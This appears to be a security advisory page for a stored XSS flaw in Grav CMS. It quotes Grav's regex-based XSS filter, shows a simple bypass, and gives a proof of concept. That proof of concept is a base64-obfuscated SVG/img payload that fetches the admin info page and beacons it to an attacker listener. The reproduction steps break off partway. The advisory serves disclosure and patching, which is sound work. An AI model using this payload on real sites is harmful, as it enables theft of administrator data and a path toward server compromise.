Grav is Vulnerable to Stored XSS via Tag Injection
A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).
Affected endpoint: admin/pages/<page>
Affected code: system/src/Grav/Common/Security.php
```php
public static function detectXss($string, array $options = null): ?string
{
// Skip any null or non string values
if (null === $string || !is_string($string) || empty($string)) {
return null;
}
if (null === $options) {
$options = static::getXssDefaults();
}
$enabled_rules = (array)($options['enabled_rules'] ?? null);
$dangerous_tags = (array)($options['dangerous_tags'] ?? null);
if (!$dangerous_tags) {
$enabled_rules['dangerous_tags'] = false;
}
$invalid_protocols = (array)($options['invalid_protocols'] ?? null);
if (!$invalid_protocols) {
$enabled_rules['invalid_protocols'] = false;
}
$enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });
if (!$enabled_rules) {
return null;
}
// Keep a copy of the original string before cleaning up
$orig = $string;
// URL decode
$string = urldecode($string);
// Convert Hexadecimals
$string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {
return chr(hexdec($m[2]));
}, $string);
// Clean up entities
$string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);
// Decode entities
$string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');
// Strip whitespace characters
$string = preg_replace('!\s!u', ' ', $string);
$stripped = preg_replace('!\s!u', '', $string);
// Set the patterns we'll test against
$patterns = [
// Match any attribute starting with "on" or xmlns
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',
// Match -moz-bindings
'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u',
// Match style attributes
'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu',
// Match potentially dangerous tags
'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui'
];
// Iterate over rules and return label if fail
foreach ($patterns as $name => $regex) {
if (!empty($enabled_rules[$name])) {
if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {
return $name;
}
}
}
return null;
}
```
Specifically the line:
```php
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
```
assumes that the on_events will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:
<img src=x onload=alert('1')>
This XSS Filter practice is broken.
1. Blacklisting every possible scenario that leads to XSS isn't possible.
2. Regex can't parse HTML.
It would be better to use an HTMLPurifier.
Grav Core + Admin Plugin
Grav Version: v1.7.49.5 - Admin v1.10.49.1
1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.

2. Login as the low-privileged user and browse to pages:

3. Create a post with the following content:
```
<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>
```
The payload base64 is decoded to:
```javascript
(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();
```
whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.
4. Save

5. Start a `nc
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
CVE-2026-42611 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.
CVE-2026-42611 is recorded against 2 packages.
Published on 5 May 2026 and last revised on 13 May 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| getgrav/grav | — | 2.0.0-beta.2 |
| grav | — | — |
References
Similar Threats
Site Security Check
CVE-2026-42611 is rated CVSS 8.9 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
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